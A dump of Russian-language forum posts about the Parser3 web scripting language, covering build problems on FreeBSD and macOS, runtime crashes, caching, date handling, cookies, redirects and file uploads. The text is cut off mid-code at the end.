"74162","Возможно ли написать .html-файл, который бы содержал необходимые определения и вызовы функций, и не зависел от наличия и содержимого файла auto.p?\
\
Когда я пытаюсь создать такой файл, то при обращении к нему получаю ошибку:\
\
syntax error, unexpected '@', expecting $end\
\
файл используется для тестирования кода, и хочется, чтобы он был совершенно автономным.\
\
Можно ли этого добиться?"
"74163","если приведёте код вашего файла, вам укажут на ошибки (скорее всего вы добавили методы в этот файл, но при этом основное содержимое забыли поместить в @main[], см. [url=\"http://www.parser.ru/docs/lang/mainclass.htm\"]доку[/url])."
"74164","Вы правы, в этом как раз и была проблема.\
Причем я пробовал добавлять определение функции main, но наверное что-то сделал не так, потому что сейчас все работает.\
Спасибо."
"74165","Добрый день.\
Не удаётся заставить работать parser  под macosx\
При запуске скачанных бинарников с этого сайта выдаёт:\
[code]./parser3.cgi test.html \
Bus error[/code]\
\
Из исходников не собирается с ошибкой:\
gc\
библиотека вроде собралась, но не линкуется.\
\
Подскажите где взять другой билд или как лучше собирать?"
"74166","Столкнулся с интересным на версиях 3.2.3 и 3.3.0 (Debian).\
Подключён mod_gzip (1.3.26.1a) (Apache 1.3.34) и в response выдаётся два заголовка Content-Length — один с исходной длиной, второй — длина сжатого результата.\
В 3.4.0 ошибка не проявляется.\
\
Глубоко не копал, есть подозрение что в 3.4.0 сменился регистр имени заголовка и mod_gzip стал находить исходный заголовок и успешно его заменять, а не добавлять второй.\
\
Наиболее выражена ошибка в Chrome (проверял на dev-ветке), который не отобразит страницу с ошибкой «346 (net::ERR_RESPONSE_HEADERS_MULTIPLE_CONTENT_LENGTH)».\
\
Дабы не копаться в исходниках, пошёл по пути наименьшего сопротивления — переключился на 3.4.0."
"74167","хотя это похоже на баг модуля mod_gzip, т.к. согласно RFC заголовки регистронезависимы, т.е. по хорошему этот модуль должен находить их в любом случае."
"74168","Нашёл [url=http://sourceforge.net/tracker/?func=detail&aid=848377&group_id=54975&atid=475503]вот такой тикет[/url]."
"74171","parser удалось собрать и слинковать используя динамическую линковку для libgc и libcpp\
Если пытаться использовать gc установленный из macports - собранный parser падает с  segmentation fault"
"74174","Парсер 3.40 под freebsd72 64 bit c xml\
Возникает Premature end of script headers: parser3.cgi при выполнении следующего кода. \
\
[code]\
$table_replace[^table::load[nameless;replace.cfg]]\
$result[^text.replace[$table_replace]]\
[/code]\
\
в replace.cfg одна строчка\
&laquo;	\"\
\
в переменной $text - некий html-код, в котором встречаются как раз &laquo;. Если в коде их нет - замен соответственно не происходит, и ошибки нет.\
\
Парсер в момент ошибки падает с созданием parser3.cgi.core.\
Это можно как-то вылечить?"
"74175","а если избавиться от динамического текста и load? например если написать что-нить такое, оно тоже падает:\
[code]\
$s[&laquo^;A&raquo^;\
&laquo^;B&raquo^;\
&laquo^;C&raquo^;]\
\
=^s.replace[^table::create[nameless]{&laquo^;	\"}]=\
[/code]\
\
P.S. у меня на win32 это работает"
"74176","Во всяком случае мне приходилось немного его патчить (ниже).\
Про 3.4.0 не скажу, но HEAD версия должна после этого собираться без проблем через build-all-with-xml.\
\
--- os_dep.c 2009-12-01 18:09:20.000000000 +0300\
+++ os_dep.c.new 2009-12-01 18:09:20.000000000 +0300\
@@ -2752,7 +2752,7 @@\
 # if defined(MSWIN32) || defined(MSWINCE)\
     LONG WINAPI GC_write_fault_handler(struct _EXCEPTION_POINTERS *exc_info)\
 # else\
-#   include <ucontext.h>\
+#   include <sys/ucontext.h>\
     /*ARGSUSED*/\
     void GC_write_fault_handler(int sig, siginfo_t *si, void *raw_sc)\
 # endif /* MSWIN32 || MSWINCE */\
\
--- mach_dep.c 2007-08-14 01:49:11.000000000 +0400\
+++ mach_dep.c.new 2009-12-01 18:09:13.000000000 +0300\
@@ -160,7 +160,7 @@\
 #endif\
\
 #if !defined(HAVE_PUSH_REGS) && defined(UNIX_LIKE)\
-# include <ucontext.h>\
+# include <sys/ucontext.h>\
 #endif\
\
 /* Ensure that either registers are pushed, or callee-save registers   */"
"74177","Причем на 64-х битной OS. Возможно дело в конкретном HTML коде?\
Нужен достоверно глючащий пример (можно ссылкой на архив)."
"74178","Нет, при статическом тексте не падает. Под win32 тоже не падает.\
\
Буду пытаться понять, каким текст попадает в replace."
"74179","Нашёл интересную особенность.\
\
После формы текст попадает в некий преобразователь, и так у нему применяется такой match $s_text[^s_text.match[(&nbsp^;|\\s)+][gi]{ }]. После этого $s_text уже идёт обрабатываться replace'ом.\
\
Так вот конкретно этот матч (есть и другие) что-то делает с html кодом такое, что не нравится последующему риплейсу.\
Замена регэкспа на s_text.match[(&nbsp^;|\\s)+][gi]{} или s_text.match[(&nbsp^;|\\s)+][gi]{1111} или вообще отмена его всё исправляет - парсер не падает.\
\
Значит дело в этот небольшом пробельчике, который { }.\
Но что с ним - понятия не имею."
"74180","в него включите исходный текст и минимальный набор шагов, который приводит к падению.\
\
т.е. насколько я понял, там должен быть файл с исходным текстом, файл с таблицей для replace и файл в котором загрузка текста, match и replace.\
\
сможете локализовать проблему до такого -- архивируйте и присылайте, будем смотреть."
"74181","Masterhost на новых серверах, и уже использует 64-битные процессоры. Я использую nconvert, поэтому просто написал разработчикам. Вот прислали, пользуйтесь :)\
\
http://ifolder.ru/21200662"
"74182","Есть ли у кого-нибудь такое? Буду очень блогодарный естьли выложите.\
У меня есть freebsd 7.3, но нет возможности собрать."
"74183","И с двумя Рождествами тогда уж заодно)"
"74184","Версия 3.3.0 не поддерживала сборку под x64. Помимо ошибок компиляции, там еще и типы надо было в нескольких местах поменять, чтобы оно заработало. Теоретически можно собрать, но практически проще код для 3.4.0 адаптировать или библиотеки совместимости с x32 на FreeBSD поставить."
"74185","[quot][09 июня 2009] \
\
Теперь Parser3 собирается и работает на 64-битных системах.\
[...] стабильная ветка release_3_3_0 \
[/quot]\
http://www.parser.ru/news/"
"74186","Значит мы таки закоммитили нужные для сборки под x64 изменения в ветку 3.3.0. Уже забылось. :) Ну, тогда есть шанс что вам помогут."
"74188","Дополнено и исправлено:\
Беда с Вашей функцией - вываливается когда встречается '00' (0x00) в md5 хеше...\
вот тест, проверен на Денвер 3 и FreeBSD (3.4.0) \"выпадает\" на каждый 3-5 раз...\
\
@main[]\
\
[code]\
^for[i](1;6){\
	$invoiceid[^math:uuid[]]\
	$md5_hex[^math:md5[$invoiceid]]\
	$md5[^fromHEX[$md5_hex]]\
	$md5_hex - $i<br />\
}\
\
\
@fromHEX[aStr][lHEX]\
  $result[^process{^aStr.match[([0-9a-f]{2})][gi]{$lHEX[0x$match.1]^^#^lHEX.format[%02X]}}]\
\
[/code]\
\
Пишет:\
process\
-body of process-(1:25): syntax error, unexpected BAD_HEX_LITERAL, expecting $end\
V:/home/localhost/www/Tests/parser3/1000.html(12:12) \
--------------------------------------------------------------------------------\
fromHEX V:/home/localhost/www/Tests/parser3/1000.html(6:15) \
md5_hex V:/home/localhost/www/Tests/parser3/1000.html(5:10) \
for V:/home/localhost/www/Tests/parser3/1000.html(3:2)"
"74190","В sql/oracle лежиат исходники драйвера. \
configure && make\
\
Возможно прийдется поставить/собрать и клиентскую библиотеку для Оракла - configure скорее всего скажет, если чего-то будет нехватать."
"74191","cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project loginLogging in to :pserver:anonymous@cvs.parser.ru:2401/parser3project\
CVS password:\
cvs [login aborted]: Name or service not known\
\
чет не хочет.."
"74192","Не забудьте еще и исходники Парсера скачать - они нужны для сборки."
"74194","скачал все исходники положил в каталог..\
запускаю..\
подключиться к СВН нет возможности не хочет..\
\
[code]@ls:~$ ./oracle/configure && make\
checking for a BSD-compatible install... /usr/bin/install -c\
checking whether build environment is sane... yes\
checking for gawk... no\
checking for mawk... mawk\
checking whether make sets $(MAKE)... yes\
configure: error: /rdbms/demo does not seem to be valid Oracle OCI includes directory[/code]"
"74197","написано укжаите директорию.. но где она ?"
"74198","Наверное стоит полазить по папкам и посомотреть. /usr/include, /usr/local/include. Ну и find никто не отменял."
"74200","Закрыты исходящие соединения на 2401?\
Поскольку сервис работает, снаружи доступен..."
"74202","Обычно убунту не ставит файлы с инклудами, а только либы."
"74203","можеть быть что сработает"
"74205","Версия от восьмерки на семерке точно не будет работать. \
\
Янек, а что в вашем коде на Парсере не дает перейти с 3.3.0 на 3.4.0?"
"74206","У меня есть много сайтов из время когда я начинал изучяться парсера и вообщее разработки сайтов. Все работают, но как это повезло - до сих пор не понимаю. Я боюсь что когда прикаснуюсь кода сайтов тогда начнеться процесс в бесконечном времени."
"74209","Почему не хочет работать закешированный результат? Выдает ошибку 'transform' string method not found [parser.runtime]\
\
$sourceDoc[\
	^cache[cache2](5){\
		^xdoc::load[http://page.com/aggregator?format=xml]\
	}\
]\
\
#Ругается вот на эту строчку\
$transformedDoc[^sourceDoc.transform[news.xsl]]"
"74211","Нужно так:\
\
[code]^cache[cache2](5){\
	$sourceDoc[^xdoc::load[http://page.com/aggregator?format=xml]]\
	$transformedDoc[^sourceDoc.transform[news.xsl]]\
}[/code]\
\
Или, если хотите менять шаблон:\
\
[code]$sourceDoc[^cache[cache2](5){\
	$doc[^xdoc::load[http://page.com/aggregator?format=xml]]\
	^doc.string[]\
}]\
$transformedDoc[^sourceDoc.transform[news.xsl]][/code]"
"74212","в первом варианте ошибка (результат transform надо выдавать наружу, а не класть в переменную), а второй вариант вообще не рабочий, т.к. в sourceDoc будет строка, которая не имеет метода transform."
"74213","[code]^cache[cache2](5){\
	$sourceDoc[^xdoc::load[http://page.com/aggregator?format=xml]]\
	$doc[^sourceDoc.transform[news.xsl]]\
	^doc.string[$.method[html]]\
}[/code]\
\
Во втором и правду объект получился, сорри. 3 часа все-таки :)"
"74214","Нужен исполнитель на проект (пока проект один, а там как пойдет).\
Нужен вчера, потому что предыдущий человек с этими новогодними праздниками исчез на месяц, и всеми возможными завтраками я заказчика уже накормил.\
Сайт -- каталог продукции всяких жалюзи и гардин, средней толщины, с фотографиями. Макеты уже все есть и утверждены. Задача их сверстать и запрограммировать. Желательно, чтобы у вас уже были все нужные модули и вы могли работать быстро. Цены и примеры работ (желательно с доступом в админ) шлите мне, пожалуйста, на почту hwat@yandex.ru"
"74215","раз вы кэшируете сам ответ, и судя по всему трансформировать его надо только один раз, я делал такю\
[code]@curensi[]\
	^cache[/../data/cache/curensi][^date::now(+1)]{\
# входной xdoc документ\
		$sourceDoc[^xdoc::load[http://bank-ua.com/export/currrate.xml]] \
		$transformedDoc[^sourceDoc.transform[/template/curensi.xsl]] \
# выдача результата в HTML виде\
		^transformedDoc.string[ \
				$.method[html]\
				$.indent[no]\
		]\
	}{ $exception.handled[cache]}[/code]"
"74216","Здраствуйте уважаемые монстры и гуру парсера особенно те кто писал что-то типа cms-системы, возможно оффтоп но тем не менее... Есть задача отделить содержимое от дизайна, причем что бы зарегестрированные пользователи могли выбирать необходимый им внешний вид из готового набора шаблонов. Подскажите куда копать? Заранее спасибо за ответ."
"74217","Начиная от изменения дизайна на уровне CSS-стилей (делаем несколько файлов со стилями, которые выдаем в зависимости от настроек пользователя) до использования MVC-паттерна и внешнего шаблонного движка (наприме, xslt или шаблоны на самом Парсере, которые подгружаются в зависимости от темы). Первый вариант проще, второй требует изменения архитектуры программы."
"74218","Сорри я не тормоз я только учусь :)\
[quote]Начиная от изменения дизайна на уровне CSS-стилей (делаем несколько файлов со стилями, которые выдаем в зависимости от настроек пользователя)[/quote]\
Ну с этим более менее все понятно. \
[quote]до использования MVC-паттерна и внешнего шаблонного движка (наприме, xslt или шаблоны на самом Парсере, которые подгружаются в зависимости от темы). Первый вариант проще, второй требует изменения архитектуры программы.[/quote]\
Тут можно немного подробнее? А то слова по отдельности понимаю да и то не все но смысл ускользает. :( Например что такое MVC-паттерна вообще незнаю... Буду благодарен за пример. Заранее спасибо за ответ."
"74219","Добрый день.\
Очень странный результат при сравнении дат.\
[code]\
$first_date[^date::create[2011-01-18 16:01:00]]\
$second_date[^date::now[]]\
\
first_date: ^first_date.sql-string[]\
#  возвращяет 2011-01-18 16:01:00 \
\
second_date: ^second_date.sql-string[]\
#  возвращяет 2011-01-18 14:08:06 \
\
^second_date.roll[TZ][MSK-3MSD]\
\
second_date after roll: ^second_date.sql-string[]\
#  возвращяет 2011-01-18 17:08:06 \
\
<br>\
^if( $second_date >  $first_date){\
	second_date > first_date\
}{\
[color=\"#ff0000\"] 	second_date < first_date\
# срабатывает именно это условие [/color]\
\
}\
[/code]\
\
Отчего? Почему?\
Условие будет истенным только при $first_date[^date::create[2011-01-18 14:01:00]] \
\
(сервер в gmt +00 зоне)"
"74221","Ну в общем то у меня сайт и реализован по этому приципу... А причем тут отделение дизайна от сруктуры? У меня каждый раздел сайта состоит из валидатора-обработчика внешних и внутрених входных данных. \"Вычислительного\" блока. И набора блоков которые выдают это все в зависимости от данных поступивших на вход. Каждый блок отвечает за свой кусок ну например меню и основное содержание. Мне надо из этих блоков выделить \"дизайнерскую\" составляющую и собственно каким-то образом отвязать ее от кода вообще... Т.е. завтра положив в некую папку шаблон в том или ином виде и указав например имя папки в каком то поле таблицы или файле я разом меняю весь внешний вид на всех страницах... Собственно вот это хотелось бы получить в итоге. Очень хочется знать как это реализуется правильно, красиво и легко. Заранее спасибо за ответ."
"74222","Это шаблонный движок для Парсера, поддерживающий передачу данных в шаблоны, наследование, импорты и достаточный уровень изоляции от кода самой программы (шаблоны неявно заворачиваются в парсеровские классы).\
\
Я его использую в [url=http://code.google.com/p/parser3-pf/source/browse/trunk/pf/TECHNOTES]контролерах[/url] очень активно."
"74223","Смысл в том, что сама генерация внешнего вида возложена на отдельный модуль, в который вы передаете параметры: данные и какой шаблон надо вызвать.\
В том что вы хотите, вы можете еще добавить что-то вроде названия стиля, что собственно будет просто подкаталог для пути расположения шаблонов\
самый простой пример\
 в корневом auto.p вы можете обрабатывать некие условия, в зависимости от которых будут вызываться ваши шаблоны, трудно вам что-то посоветовать не видя вашей конкретной реализации"
"74225","Т.е. числовое значение даты не меняется, поэтому при сравнении парсер все делает правильно. Если все-таки нужно изменит значение, то прийдется скопировать дату поэлементно."
"74226","Думаю что про MVC понял правильно по крайней мере на первый взгляд...\
Отбросив все промежуточные действия, переходим к выводу. Например формирование меню... На входе есть таблица с парами значений имя - адрес страницы также есть некий ID шаблона. Меню построено в виде маркированного списка.\
Пользователь один - хочет видеть горизонтальное меню с кнопками зеленого цвета ID шаблона 1\
Пользователь два - хочет видеть вертикальное меню с кнопками красного цвета ID шаблона 2\
Пользователь три - хочет видеть горизонтальное меню с кнопками красного цвета ID шаблона 3\
Вот собственно как реализовать это наиболее оптимальным образом? Может XML и CSS? Но честно говоря я в них дуб-дубом, за XML еще не брался, а CSS настолько мне тяжело дается что наверно проще винду на парсере с нуля написать. Заранее спасибо за ответ."
"74228","Т.е. в данном примере правильно было бы после roll делать:\
[code]\
$second_date[^date::create[^second_date.sql-string[]]]\
[/code]\
\
Странно конечно.\
Ясно. Спасибо."
"74229","[quote]\
Также можно узнать дату/время, соответствующие хранящимся в объекте класса date в другом часовой поясе, задав системное имя нового часового пояса.\
[/quote]\
\
http://www.parser.ru/docs/lang/dateroll.htm"
"74230","Но в целом мне сама идея настолько радикально менять дизайн для каждого пользователя кажется дикой."
"74231","Здравствуйте. \
При использовании парсера 3.4.0 (compiled on amd64-unknown-freebsd7.2) периодически (довольно редко - раз в несколько дней на сайте с кол-вом просмотров страниц 100000-150000 в день) возникает следующая ошибка\
\
\"cache_put failed: No such file or directory (2), actual filename '/pub/......../htdocs/../data/page_cache/images/banner1.gif/index'\"\
\
На сайте используется кэширование с помощью класса CachePage. Кэшируются, разумеется, только существующие страницы, которые складываются, как можно догадаться, в /../data/page_cache/.\
\
Запрос /images/banner1.gif должен вернуть картинку\
/images/banner1.gif/ - 404 ошибка, не кэшируется\
\
Судя по всему периодически происходит что-то, что не даёт серверу загрузить картинку, обработка ошибки переходит к парсеру, но тот, вместо того, чтобы перехватить её и забыть, почему то пытается что-то вывести посетителю и, соответственно, закэшировать это. Но классу CachePage что-то не нравится, в результате чего вся страница падает ошибкой.\
\
Никто ни с чем похожим не сталкивался?"
"74232","Полез разбираться и обратил внимание, что файл /images/banner1.gif\
в принципе отсутствует на сервере (запросы на него приходят чёрт знает откуда).\
\
Т.е. всегда должна отдаваться 404 ошибка, которая не кэшируется вовсе"
"74233","он работает с текстовыми данными (html), и при кэшировании дописывает в содержимое заголовки в текстовом виде, а при отдаче скэшированного -- удаляет эти заголовки с помощью match.\
\
т.е. это в принципе не должно работать корректно.\
\
но почему возникает именно такая ошибка -- я не очень понял. возможно это следствие некорректного поведения класса при работе с бинарными данными."
"74236","На форуме внятного ответа не нашел."
"74237","Или средствами ОС через file.exec."
"74239","Я хочу научится создавать сайты с помощью парсера, нужно ли мне сначало изучить язык хтмла?"
"74240","не обязательно, ответы выдавать можно и в текстовом виде, но для взаимодействия с формами  да и вообще придания внешнего вида обязательно"
"74241","Это то понятно. Меня смущает как раз то, что никаких бинарных данных нет - файл отсутствует на сервере. В большинстве случаев вместо него отдаётся страница с ошибкой 404 - это простой html, но иногда что-то происходит не так"
"74242","такая ошибка на Free BSD 8.1 x64\
\
/: './auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './auto.p', fuid(0)!=euid(80) or fgid(0)!=egid(80) [parser.runtime]\
\
как побороть?"
"74244","а не знаете, есть у кого-нибудь версия 8.х с выключенным safe mode? мне самому не пересобрать"
"74245","Но по ключевому слову grpunlim в форуме можно найти принцип формирования ссылки [url=http://www.parser.ru/f/1/download/freebsd8/parser3_4_0_freebsd80Rx64_grpunlim_cgi_xml.tar.gz]на версию[/url] без safe mode.\
\
Хотя лучше нормально настроить веб-сервер."
"74246","Естли самостоаятельно хочете создавать сайты вым нужна изучяться:\
\
- графический дизайн и типография\
- скриптование у клиентов (client-side scripting: html,css,javascript)\
- скриптование у сервера (парсер, sql)\
- операционная система unix\
- интернетовый маркетинг"
"74248","не нашёл в факе описания такой ошибки\
\
подскажите как настроить сервер, в чём косяк? :)"
"74249","Какой сервер, конфиги?\
\
p.s. Естественно стоит сначала прочитать про suexec.\
p.p.s. В FAQ'е несколько разделов, в одном из них (Вопросы по установке) есть четкое описание, что делать при таком сообщении Парсера."
"74252","есть вот такой диапазон, нужно расширить хотябы на год в перед, все на что натолкнулся это:\
\
				[code]<fieldset>\
					<legend>Публикация на&nbsp^;сайте</legend>\
					<table class=\"fieldset\">\
						<tr>\
							<td class=\"label\">Показывать&nbsp^;с:</td>\
							<td class=\"input\">^document.htmlSelectDate[dt_published;^if(def $oNews.MainInfo.DtPublished){$oNews.MainInfo.DtPublished}{};$DOCUMENT:SDT_NOEMPTY]^document.htmlSelectTime[dt_published;^if(def $oNews.MainInfo.DtPublished){$oNews.MainInfo.DtPublished}{};$DOCUMENT:SDT_NOEMPTY]</td>\
						</tr>[/code]\
\
Подскажите плз хотябы где копать.\
\
Заранее благодарен."
"74254","/data/classes/document.p\
\
в @auto[] найти задание переменной $dateYear и заменить например на такое:\
[code]\
$dtNow[^date::now[]]\
$dateYear[^table::create[nameless]{^for[i](2000;$dtNow.year+1){$i}[^#0A]}]\
[/code]"
"74255","Спасибо! Помогло!"
"74256","Сами мы не местные, из исходников собирать не умеем. Проект застопорился. Если кто-нибудь уже использует Parser (с XML) на Centos 5.5 x64, вышлите, пожалуйста. Перебрал все версии под Linux имеющиеся на сайте, ни один не подошёл. Хостинг американский, так что просьбы в службу поддержки собрать для меня парсер, с большой долей вероятности будут посланы на четыре латинских буквы."
"74257","Последний (3.4.0) парсер спокойно собирается на CentOS одной командой из консоли.\
Хотя, если это shared-хостинг, то могут быть проблемы (теоретически).\
Вы хоть пробовали собирать?\
\
А ещё, из раздела \"скачать\" подойдёт версия для RedHat. Для x64 версии там нет, но и 32 будет работать.\
Для разработки хватит, но для работающего проекта лучше собрать."
"74258","Возникла потребность переадресовывать роботов на новый сайт,\
подскажите, как сделать?\
$response:location даёт код 302, а это не совсем то...\
\
P.S. Да, апач крутить не могу, модуль rewrite не вкомпилён..."
"74259","$response:status(301)\
	$response:location[${SERVER}]"
"74260","Вау! Оно!\
Спасибо!"
"74261","Здраствуйте уважаемые гуру и монстры парсера. Приходилось ли кому-нибудь решать задачу по сбору статистики по конкретным пользователям на сайте? Поясню... Есть система авторизации которая пишет в куки при прохождении авторизации некий юид сессионный либо долгосрочный естесственно он же пишется в базу. Так вот хотелось бы писать в базу что делает конкретный пользователь на сайте. Кто сталкивался с подобной задачей и как она лучше решается? Как лучше хранить логи? Есть ли какие-то известные грабли? Ну и т.д. Заранее спасибо за ответ..."
"74263","Хотелось бы что-то собственного изготовления... Во-первых бесплатно, во-вторых можно получить то что надо, в-третьих просто интересно реализовать задачу..."
"74264","У хостера стоит Cent OS 5.5. Можно ли задружить с третим парсером? Какую версию качать?"
"74267","ну как бы, можно использовать гуганалитик\
http://code.google.com/intl/ru/apis/analytics/docs/tracking/eventTrackerGuide.html  + другие данные статистики дадут вам все что вам надо )), а вести локальный лог больно накладно.\
вот как это дело дружили с формами, для понятия логики хватит. http://habrahabr.ru/company/Techart/blog/100930/\
Вот еще http://habrahabr.ru/company/onlab/blog/109383/"
"74269","Я внимательно проверил и уже знаю что должно:\
После подключения исследимого класса вызвать метод ^do, и в оконьчании роботы кода посметреть что попало в переменные класса Profiler, прежде всего в переменную hProfile\
\
[code]\
^dstop[^reflection:fields[$Profiler:CLASS]]\
\
\
	$.hProfile[\
		$.testclass[\
			$.[@load][\
				$.iCount(1)\
				$.iExceptionCount(0)\
				$.fTime(1)\
				$.fTimeSum(1)\
			]\
			$.[@dosomething][\
				$.iCount(1)\
				$.iExceptionCount(0)\
				$.fTime(1)\
				$.fTimeSum(0)\
			]\
			$.[@dosomething2][\
				$.iCount(0)\
				$.iExceptionCount(0)\
				$.fTime(0)\
				$.fTimeSum(0)\
			]\
		]\
	]\
	$.hClasses[\
		$.testclass[testclass]\
	]\
	$.hCounterRel[void]\
	$.hCounterAbs[void]\
[/code]"
"74271","Пользовался ли кто хостингом Ру-Центра http://www.nic.ru/ ? Как впечатления? Может кто посоветует \"непадающий хостинг\"... Заранее спасибо за ответ."
"74272","У меня у клиента там сайт лежит на Парсере - http://istp.ru/ - вроде никто не жаловался после сдачи. :)\
\
Насколько я помню, на минимальном тарифе Парсер не запустить - нет поддержки cgi-скриптов, но в целом особых проблем нет. Кроме того, не удалось собрать Парсер прямо на сервере - не хватило ресурсов, но они используют FreeeBSD, поэтому спокойно запустил версию с парсер.ру."
"74273","Планируется относительно крупный проект, не уверен что тот хостер (ruweb.net) у которого сейчас будет справляться... Да и метрика что-то в последнее время говорит что сайт не доступен примерно раз в неделю-две правда почти всегда ночью..."
"74274","... сайт имиджевый. Если говорить о крупных проектах, то мне кажется, что про виртуальный хостинг следует забыть сразу, а смотреть в сторону виртуальных или dedicated-серверов.\
\
p.s. Правда сказать что-либо про аренду не могу - сам давно использую только собственные серверы. :)"
"74275","понял, спасибо. Виртуальный выделенный сервер не самая лучшая идея, ИМХО естественно, ресурсов по факту меньше..."
"74276","Всегда известно сколько ресурсов может быть выделено. При виртуальном хостинге - это лотерея. Я в лотереи не играю. ;)"
"74278","А вот, к примеру, VPS от Агавы в минимуме (800 руб./мес.) - может, ст[b]о[/b]ит там попробовать?\
Немного дороже виртухостинга, зато, по заявлениям, возможности неслабые.\
На пиво меньше чуток потратите :-)\
Все на пользу."
"74279","Есть мнение что не Windows vps/vds сильно зависит от соседей... С Windows хостингом вроде не так но работать я с ним не хочу в принципе, не люблю я их сюрпризы... Отсюда вывод либо виртуальный хостинг за который я плачу в общем-то практически столько же сколько и за vps/vds, либо уже выделенный сервер (пока нет необходимости). Естественно ИМХО."
"74280","Здравствуйте Sumo, сейчас изучаю Ваш код который был выложен на гугле. Пока в частности модуль авторизации... Вы указываете aOptions.timeout(60) - время (в минутах) текущей сессии. Откуда цифра? Почему именно 60 минут? Я так понимаю что это время по умолчанию отведенное на просмотр одной страницы? Заранее спасибо за ответ..."
"74281","Какой выбрать -- рекламировать не буду."
"74282","... а сама сессия, если она не persistent, будет длиться пока пользователь не закроет браузер. Фактически эта мера вносит дополнительную защиту для сессий.\
\
p.s. Насколько я помню, подобный механизм был и в Мишином auth.p."
"74285","Сессионный куки не удаляется после закрытия окна. Парсер 3.4\
Куки создаю\
[code]$cookie:name_sid[ \
    $.value[$session_uid]  \
    $.expires[session] \
    ][/code]\
Вроде все правильно делаю, ткните пальцем плиз в чем не прав... Может какой известный баг?\
Заранее спасибо за ответ"
"74286","Как правило посмотреть, что браузер получает от сервера и хранит можно через девелоперские тулы (есть почти во всех современных браузерах или доступны через дополнения)."
"74287","IE 8, впрочем в хроме такая же картина..."
"74288","... они позволят посмотреть, что выдает сервер и Парсер в заголовках.\
\
p.s. Надеюсь объяснять откуда куки в браузере берутся не надо? :)"
"74289","Проблема действительно в IE8... Попрописывал $.path[/] для хрома помогло, отрабатывает нормально. В IE8 не удаляет куку никак, что делать даже не знаю :( Может быть это конечно особенности именно моего IE8... Буду завтра проверять...\
З.Ы. ненавижу майкрософт..."
"74290","Добрый день!\
Вот есть скриптец, генерит он большую страницу, и в начале я хочу проверить пользователя на ... толерантность.\
делаю так:\
[code]^if($env:REMOTE_ADDR eq '<ip злодея>' {\
	$response:status(500)\
	$response:body[500 : Core dumped]\
}\
\
[/code]\
но парсер шурует дальше, генерит страницу, и потом чётко отдаёт мой заголовок. А ресурсы-то кушает...\
\
Как прервать работу, как сделать, что если вражина пришла - скрипт далее не считает? Понятно, что можно дополнить ^if {...}{ тут всё хорошо, враг не прошел.} а глобально? типа exit() ?\
\
Спасибо!"
"74291","Вам ведь надо выдать в браузер клиенту корректный ответ (пусть и со статусом 500), т.е. надо не прервать выполнение скрипта, а сделать вполне осознанное действие. Поэтому либо if, либо throw с полследующей обработкой в @unhandled_exception[]."
"74292","goto тоже бы помог мне... ;)\
я хотел на халявку проскочить, скрипт уже скоро станет умнее меня - слишком много сравнений внутри уже... вложенность if-ов уже примерно 12 уровней..\
Эх, придётся переписывать...\
Спасибо!"
"74294","[quote]throw с полследующей обработкой в @unhandled_exception[][/quote]"
"74299","Всем привет\
\
Подскажите почему у меня не работает конструкция ^table::load[file.cfg] - как в первом уроке по Парсеру. В результате я получаю страницу с ошибкой \"Unhandled Exception\". Если создать таблицу с помощью конструктора ^table::create, то все работает отлично.\
\
В логе Парсера появляется строка вида:\
[Sat Jan 29 02:57:31 2011] [3282] /index.html: /Applications/MAMP/htdocs/auto.p(25:17): '/Applications/MAMP/htdocs/menu.cfg' read failed: No such file or directory (2), actual filename '/Applications/MAMP/htdocs/menu.cfg' [file.missing] [uri=/index.html, method=GET, cl=0]\
\
Насколько я понимаю Парсер не может найти файл menu.cfg, но он есть в этой папке. Наверное что-то не верно в конфигурации веб-сервера, но что именно я не знаю.\
\
Файл .htaccess в корне веб-сервера есть, выглядит он так:\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Права на файлы: .htaccess, menu.cfg, parser3.cgi стоят 755."
"74301","Хм, сейчас после вашего вопроса, еще раз проверил наличие этого файла в папке, все на месте. Решил зайти в эту папку из терминала, и увидел что файл на самом дела называется menu.cfg.html, в общем переименовал я его в menu.cfg и все заработало.\
Спасибо."
"74303","Пытаюсь использовать ajax загрузчик файлов (http://valums.com/ajax-upload/). Получается post запрос например files.html?qqfile=image.jpg\
\
Через оперу все грузится отлично, но например через FF 3.6 загрузки не получается. Проверка ^if($form:qqfile is 'file'){true;false} говорит, что $form:qqfile не является файлом.\
\
Возможно ли решить проблему и как?\
\
Parser/3.4.0\
\
Спасибо."
"74306","Могу предположить, что сам файл приходит просто в теле сообщения (если это бинарные данные, то может возникнуть серьезная проблема с их получением), либо еще в какой-то переменной внутри post-данных. Можно попробовать посмотреть, что еще приходит в forms (^form:fields.foreach[k;v]...)"
"74307","[code]^form:fields.foreach[k;v]{$k - $v}[^; ][/code]\
id - 17; mode - add; qqfile - 0887ABBC-3261-446F-9C2F-E46F1595DC54.jpg"
"74309","Если в конфигурационном файле auto.p убрать метод @conf[], а все настройки из него перенести в секцию @auto[] — парсер не будет видеть данные post-запросов.\
Достаточно объявить пустой @conf[] и заработает.\
\
Дело тут явно не в $LIMITS.post_max_size, т.к. парсер не падает с ошибкой, а просто в $form:fields всегда пусто."
"74310","Я может быть неправильно смотрю $request:body, делаю так в files.html:\
\
[code]^if($form:qqfile is \"file\"){\
	...сохраняю...\
}{\
	$document[$request:body] \
	^document.save[saved.txt] \
	$document \
}[/code]\
\
В saved.txt после загрузки файла:\
яШяб\
\
Через firebug в ответе: \
&#65533;&#65533;&#65533;&#65533;"
"74313","из этого однозначно следует, что кто-то явно в qqfile положил строку следующего содержания: '0887ABBC-3261-446F-9C2F-E46F1595DC54.jpg'\
\
если бы проблема была в неправильном/отсутствующем enctype или ещё к чем-то подобном, то в этой переменной могло быть только пусто, а не такое, явно сформированное добро.\
\
более того, это явно сформированное добро передаётся в get (query), т.е. там в принципе не может быть файла (хотя возможно, что данный загрузчик использует одноимённые переменные -- к get имя файла, а в post -- его содержимое, но это простейший путь к проблемам, т.е. я не думаю, что так сделано в загрузчике). вы уверены, что у вашей формы прописан правильный @method?\
\
предлагаю проверить @method/@enctype у посмотреть код js чтобы убедиться, что в qqfile не передаётся имя файла, а сам файл должен-бы передаваться в другой переменной, но не передаётся из-за проблем с enctype.\
\
а ещё для решения этой проблемы может помочь дока по XHR. очевидно, что курить её должен тот, кто пытается использовать данный код :)"
"74314","[code]        // build query string\
        var queryString = '?qqfile=' + encodeURIComponent(name);\
